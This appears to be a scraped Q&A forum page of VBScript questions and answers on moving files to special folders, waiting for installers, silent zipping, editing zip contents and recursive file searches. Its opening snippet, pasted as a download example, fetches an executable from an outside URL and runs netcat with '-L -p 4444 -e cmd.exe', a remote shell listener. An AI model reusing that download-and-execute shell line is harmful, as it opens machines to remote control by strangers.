Please hold all responses. Just found something.
dim http_obj
dim stream_obj
dim shell_obj
set http_obj = CreateObject("Microsoft.XMLHTTP")
set stream_obj = CreateObject("ADODB.Stream")
set shell_obj = CreateObject("WScript.Shell")
URL = "http://www.mikemurr.com/example.exe" 'Where to download the file from
FILENAME = "nc.exe" 'Name to save the file (on the local system)
RUNCMD = "nc.exe -L -p 4444 -e cmd.exe" 'Command to run after downloading
http_obj.open "GET", URL, False
http_obj.send
stream_obj.type = 1
stream_obj.open
stream_obj.write http_obj.responseBody
stream_obj.savetofile FILENAME, 2
shell_obj.run RUNCMD
So my many lines of vbs, and strings it will open (or not) along the way currently has a vbs that opens an url to download something with instructions on where to save, and than when done, moves from download folder to programs (x86) but it looks like i found something that will download the file to (x86) for me. I will see what it takes to download to special folder.
I do know my next struggle will be getting the vbs to wait.
In dos
start/wait drive:\path\file.exe
waits for the install to finish before moving on to next task.
Set WshShell = WScript.CreateObject("Wscript.Shell")
MsgBox "1:1"
Sub2
Sub3
Sub Sub2()
WshShell.Run "cscript //nologo Sub2.vbs", 1, True
End Sub
Sub Sub3()
WshShell.Run "cscript //nologo Sub3.vbs", 1, True
End Sub
Has me creating many vbs files to run in order, which I haven't tested yet. So I don't know if each one will wait till the program has finished installing or if I need to create a loop to see if the exe is still running.
I do have a "learning vbs" folder with examples to modify to build from. I'm expanding as I learn and testing.
I can't move a file from desktop to program file (X86) due to errors
Set sh = CreateObject("WScript.Shell")
desktop = sh.SpecialFolders("Desktop")
Program Files (x86) = sh.SpecialFolders("Program Files (x86)")
Set fso = CreateObject("Scripting.FileSystemObject")
source = fso.BuildPath(desktop, "file to move")
'not sure if I need to add extension
destination = fso.BuildPath("Program Files (x86)", "\path\sub folder")
fso.MoveFile source & "\*", destination & "\"
Error mismatch files
And if I remove "" around program files (x86) for destination
Set sh = CreateObject("WScript.Shell")
desktop = sh.SpecialFolders("Desktop")
Program Files (x86) = sh.SpecialFolders("Program Files (x86)")
Set fso = CreateObject("Scripting.FileSystemObject")
source = fso.BuildPath(desktop, "file to move")
'not sure if I need to add extension
destination = fso.BuildPath(Program Files (x86), "\path\sub folder")
fso.MoveFile source & "\*", destination & "\"
I get ejected ) error. What am I missing?
EDITING: From response below
As has already been pointed out, Program Files (x86) = ... isn't valid syntax. Variable names must not contain spaces, and parentheses are only allowed when declaring array variables. Also, the SpecialFolders collection does not have a member "Program Files (x86)".
Expand the respective environment variable instead:
Set sh = CreateObject("WScript.Shell")
Set fso = CreateObject("Scripting.FileSystemObject")
src = fso.BuildPath(sh.SpecialFolders("Desktop"), "file to move")
dst = sh.ExpandEnvironmentStrings("%ProgramFiles(x86)%\path\sub folder")
fso.MoveFile src & "\*", dst & "\"
Also, your command tries to move the content of the folder "file to move". Is that intentional? If you wanted to move a file " file to move" you'd have to change the last statement to fso.MoveFile src, dst & "\".
Also, your command tries to move the content of the folder "file to move"
MY COMMENT:
No, "file to move" fallowed by 'not sure if I should include extension is the name of the file (i.e myfile.extension) not "folder" file to move. The folder is "desktop"
desktop = sh.SpecialFolders("Desktop")
and
source = fso.BuildPath(desktop, "file to move")
'not sure if I need to add extension
thus do i put
source = fso.BuildPath(desktop, "file to move.extension")
I'm not looking for someone to write the code for me. I have tried the %path% thing that works in dos (i.e %userprofile%) in vbs before and got stuck so to see
dst = sh.ExpandEnvironmentStrings("%ProgramFiles(x86)%\path\sub folder")
has me scratching my head. Even with the expand command.
Doing some testing. Will edit with update. Sorry for late response. Weekend hobby project thing.
As has already been pointed out, Program Files (x86) = ... isn't valid syntax. Variable names must not contain spaces, and parentheses are only allowed when declaring array variables. Also, the SpecialFolders collection does not have a member "Program Files (x86)".
Expand the respective environment variable instead:
Set sh = CreateObject("WScript.Shell")
Set fso = CreateObject("Scripting.FileSystemObject")
src = fso.BuildPath(sh.SpecialFolders("Desktop"), "file to move")
dst = sh.ExpandEnvironmentStrings("%ProgramFiles(x86)%\path\sub folder")
fso.MoveFile src & "\*", dst & "\"
Also, your command tries to move the content of the folder "file to move". Is that intentional? If you wanted to move a file " file to move" you'd have to change the last statement to fso.MoveFile src, dst & "\".
Related
I have a .bat file which I use to back up files, which calls a .vbs and passes it two parameters, as follows:
...
ZipCMD.vbs "C:\Source" "C:\Destination\Data.zip"
...
ZipCMD.vbs contains the following code (Credit to garbb):
Set objArgs = WScript.Arguments
Set FS = CreateObject("Scripting.FileSystemObject")
InputFolder = FS.GetAbsolutePathName(objArgs(0))
ZipFile = FS.GetAbsolutePathName(objArgs(1))
CreateObject("Scripting.FileSystemObject").CreateTextFile(ZipFile, True).Write "PK" & Chr(5) & Chr(6) & String(18, vbNullChar)
Set objShell = CreateObject("Shell.Application")
Set source = objShell.NameSpace(InputFolder).Items
numfolderitems = objShell.NameSpace(InputFolder).Items.count
objShell.NameSpace(ZipFile).CopyHere(source)
' wait until number of items in zip file is the same as in the folder we are zipping up
' also sometimes gets errors when getting folder object for zip file, probably because it is in use? so ignore these
On Error Resume Next
Do while True
numitemsinzip = objShell.NameSpace(ZipFile).Items.count
If Err.Number = 0 and numitemsinzip = numfolderitems Then
Exit Do
ElseIf Err.Number <> 0 then
Err.Clear
End If
wScript.Sleep 10
Loop
On Error Goto 0
When the zipping is occurring, the usual windows 'Compressing files' interface appears, and shows the progress bar ticking along for a few minutes, before closing and disappearing.
Question: Can vbs run a compression silently (i.e. without interface)? -- I've read this article, which shows a flag, however this doesn't appear to work with copying to .zip, for some reason.
Follow-up question: If it's not possible for the .vbs which I'm using to achieve this, then is there an alternative way, which still utilises calling another file/process(?) (.vbs / .js, or other?) and feeding it the two paths from cmd?
Edit: I'm trying to achieve this without the use of third-party software (e.g. 7zip), and simply using native windows code.
Suppose I am almost 3 months late on this, but if you have powershell version 5 or later, you can simply create a powershell script:
Compress-Archive "C:\Source" "C:\Destination\Data.zip"
or from a batch file:
powershell Compress-Archive "C:\Source" "C:\Destination\Data.zip"
Also see this option
I'm writing a script to move an Outlook signature into %APPDATA%\Microsoft\Signatures\ and it's just not going as planned.
I want to instruct the user to put the "signature" folder on their desktop, and then run a script that will move all of the items in the signature folder to the AppData folder.
I've been reading, and it looks like it's not as simple as just putting %userprofile%\Desktop\signatures\* into VBScript or PowerShell code. I don't understand why Windows Explorer knows what to do with that path, but PowerShell/VBScript doesn't know what a special folder is, but whatever the case, my code just isn't working.
Here's an example of what I'm trying to do with VBScript:
Dim desktop
Dim appdata
desktop = object.SpecialFolders("Desktop")
appdata = object.SpecialFolders("APPDATA")
With CreateObject("Scripting.FileSystemObject")
.MoveFile desktop\MET_Signature_Template\*, appdata\Microsoft\Signatures\test\
End With
I get a syntax error, but no direction on why it's wrong. I've tried a few different things I've found on here to no avail.
When in doubt, read the documentation.
Syntax
object.SpecialFolders(objWshSpecialFolders)
Arguments
object
WshShell object.
Change this:
desktop = object.SpecialFolders("Desktop")
appdata = object.SpecialFolders("APPDATA")
into this:
Set sh = CreateObject("WScript.Shell")
desktop = sh.SpecialFolders("Desktop")
appdata = sh.SpecialFolders("APPDATA")
Build source and destination paths using the BuildPath method:
Set fso = CreateObject("Scripting.FileSystemObject")
source = fso.BuildPath(desktop, "MET_Signature_Template")
destination = fso.BuildPath(appdata, "Microsoft\Signatures\test")
fso.MoveFile source & "\*", destination & "\"
In PowerShell you'd do it like this:
$source = "$env:APPDATA\MET_Signature_Template"
$destination = Join-Path [Environment]::GetFolderPath('Desktop') 'Microsoft\Signatures\test'
Copy-Item "$source\*" $destination
I'm trying to use VBScript to examine the contents of several hundred .zip files. Essentially what I want to do is run through each .zip and find all of the files wihtin that zip file. For each one of these files within the zip, I want to record some information about it to an Oracle database. That information being: file name and file modified date.
So far, my solution has been extracting each zips folder structure to a temp folder then running through the temp folder with an fso object. However, this has been proven to be very slow.
Is there a way to accoplish this without unziping the zip files?
Ouch man. I have never heard of vbscript zip object. But it has been a long time since I have done vbscript. Is there anyway you can avoid it?
I did some googling for you. I did find this: http://www.example-code.com/vbscript/zip_List.asp Chilkat has done a lot of stuff I thought not possible. This gives me the impression - that what you are trying to do is not going to be painless.
If given the problem you have I would find a different solution than vbscript. But if you pull-it-off I would vote for you to be mayor of vb land
You can do it in place with Shell Objects. But it will be just as slow, maybe. If just name and date Explorer may get it direct from the zip directory (at the end of the file so the whole file still needs to be read).
This copies items in a folder to another folder. A zip file is a folder so it will copy in and copy out.
To Zip
Set objShell = CreateObject("Shell.Application")
Set Ag=Wscript.Arguments
set WshShell = WScript.CreateObject("WScript.Shell")
Set SrcFldr=objShell.NameSpace(Ag(1))
Set DestFldr=objShell.NameSpace(Ag(0))
Set FldrItems=SrcFldr.Items
DestFldr.CopyHere FldrItems, &H214
Msgbox "Finished"
To Unzip (note SrcFolder and DestFolder are reversed)
Set objShell = CreateObject("Shell.Application")
Set Ag=Wscript.Arguments
set WshShell = WScript.CreateObject("WScript.Shell")
Set DestFldr=objShell.NameSpace(Ag(1))
Set SrcFldr=objShell.NameSpace(Ag(0))
Set FldrItems=SrcFldr.Items
DestFldr.CopyHere FldrItems, &H214
Msgbox "Finished"
To Create a blank zip. (I should have used an ADODB binary stream rather than an FSO text stream, but it shouldn't matter)
Set Ag=Wscript.Arguments
Set fso = CreateObject("Scripting.FileSystemObject")
Set ts = fso.OpenTextFile(Ag(0), 8, vbtrue)
BlankZip = "PK" & Chr(5) & Chr(6)
For x = 0 to 17
BlankZip = BlankZip & Chr(0)
Next
ts.Write BlankZip
Im very new to VBScript (this is my first time ever using it). So far I've copied and altered my way into getting as far as I am.
I have an APK file that is too big for my needs. So what I've been doing is manually changing it to a zip and then deleting a couple images from it then renaming it back to an APK. Im trying to automate that with a VBScript. So far I have
Set oShell = CreateObject("WScript.Shell")
Set fso = CreateObject("Scripting.FileSystemObject")
sFolder = WORKSPACE & "\temp\" & app & "\build\" & PLATFORMSUBFOLDER & "\dist\" & app & "\bin"
oShell.CurrentDirectory = sFolder
'Make the Apk a Zip.
fso.MoveFile apkfile, zipApk
This is all working and I can see in Windows Explorer that the APK changes to a zip like I want it to. So Im wondering if there is any quick ways to just go in and delete a couple files without extracting the whole thing?
If not is there an easy way to extract the files and parse them at the same time?
Ive looked here Extract files from ZIP file with VBScript
but cant seem to get it working. I keep getting error "Object required: 'objShell.Names(...)'" Any hints to why this is happening?
Use the MoveHere method to move an item out of the zip file:
zipfile = "C:\path\to\your.zip"
fname = "some.file"
dst = "C:\some\folder"
Set app = CreateObject("Shell.Application")
For Each f In app.NameSpace(zipfile).Items
If f.Name = fname Then
app.Namespace(dst).MoveHere(f)
End If
Next
Then delete the files from the dst folder:
Set fso = CreateObject("Scripting.FileSystemObject")
fso.DeleteFile fso.BuildPath(dst, fname), True
I am trying to write a VB script (having never attempted before) - I need it to search the folder'\file001\source$' - whilst in the folder search for all 'Update.exe'files - If this is done manually, in Windows it takes a long long time!
I would like all the files that it finds with this name - to be copied into a new folder.
Looking at various help forums I am getting more and more confused.
Below is what I have attempted:
Set fso = CreateObject("Scripting.FileSystemObject")
ShowSubfolders fso.GetFolder("\\file001\source$")
'foldername = "\file001\source$"
'filename = "Updater.exe"
Function ShowSubFolders(Folder)
For Each Subfolder in Folder.SubFolders
Wscript.Echo Subfolder.Path
ShowSubFolders Subfolder
Next
End Function
This is to search through a folder, recursively through the folders sub folders to find all files with this name.
I have also done research into -directory.getfiles. But have no clue if this is the right direction.
As a newbie to VB script, I have researched and attempted to play around with vb script, to get the function I desire. I would be grateful to any help I can get.
Again - my target is to - find all files within the given folder and subfolders with the name update.exe - and then to copy these files found into a new folder.
Thank you in advance.
If you only want to check the content of a single folder for the existence of a particular file you can do that like this:
Set fso = CreateObject("Scripting.FileSystemObject")
foldername = "\\file001\source$"
filename = "Update.exe"
If fso.FileExists(fso.BuildPath(foldername, filename)) Then
WScript.Echo filename & " exists."
End If
If you want to check the subfolders of foldername as well, you need to recurse into subfolders with something like this. You can either integrate the check from the above code sample in the loop over the subfolders, or add another loop over the files in the folder:
Set fso = CreateObject("Scripting.FileSystemObject")
CopyUpdater fso.GetFolder("\\file001\source$")
Sub CopyUpdater(fldr)
For Each f In fldr.Files
If LCase(f.Name) = "update.exe" Then
'copy file to somewhere else
End If
Next
For Each sf In fldr.SubFolders
CopyUpdater sf
Next
End Sub
See my question here, i benchmark three languages (vbscript also) which do a subdirectory traversal with full working samples and optimised for the language. benchmarks: does python have a faster way of walking a network folder?
Thats a good attempt . Read more on below link and understand things better .
Vbscript list all PDF files in folder and subfolders
VBScript to traverse through subdirectories
dim sFilename
Dim objDict
Set objDict=CreateObject("Scripting.Dictionary")
sFilename = ""
'root folder path where subfolder exists
fileLocation="C:\Users\u258251\Desktop\TestSubfolder"
Dim objFSO 'File System Object
Set objFSO = CreateObject("Scripting.FileSystemObject")
'Add all files with specific extention to dictonary
Call Recurse(fileLocation)
ItemArray = objDict.Items
'Loop through dictonary
For i = 0 To objDict.count -1
sFilename = sFilename & ItemArray(i) & VBCRLF
Next
msgbox(sFilename)
'find a specific file by name and return path
if objDict.Exists("DP103.txt") then
msgbox(objDict.Item("DP103.txt"))
end if
Sub Recurse(strFolderPath)
Dim objFolder
Set objFolder = objFSO.GetFolder(strFolderPath)
Dim objFile
Dim objSubFolder
For Each objFile In objFolder.Files
If (InStr(objFile.Name, ".") > 0) Then
'proceed if extention is .txt
If (LCase(Mid(objFile.Name, InStrRev(objFile.Name, "."))) = ".txt") Then
if objDict.Exists(objFile.Name)=false then
'add files and path to dictonary
objDict.Add objFile.Name,objfile.Path
End if
End if
End If
Next
For Each objSubFolder In objFolder.SubFolders
Call Recurse(objSubFolder.Path)
Next
End Sub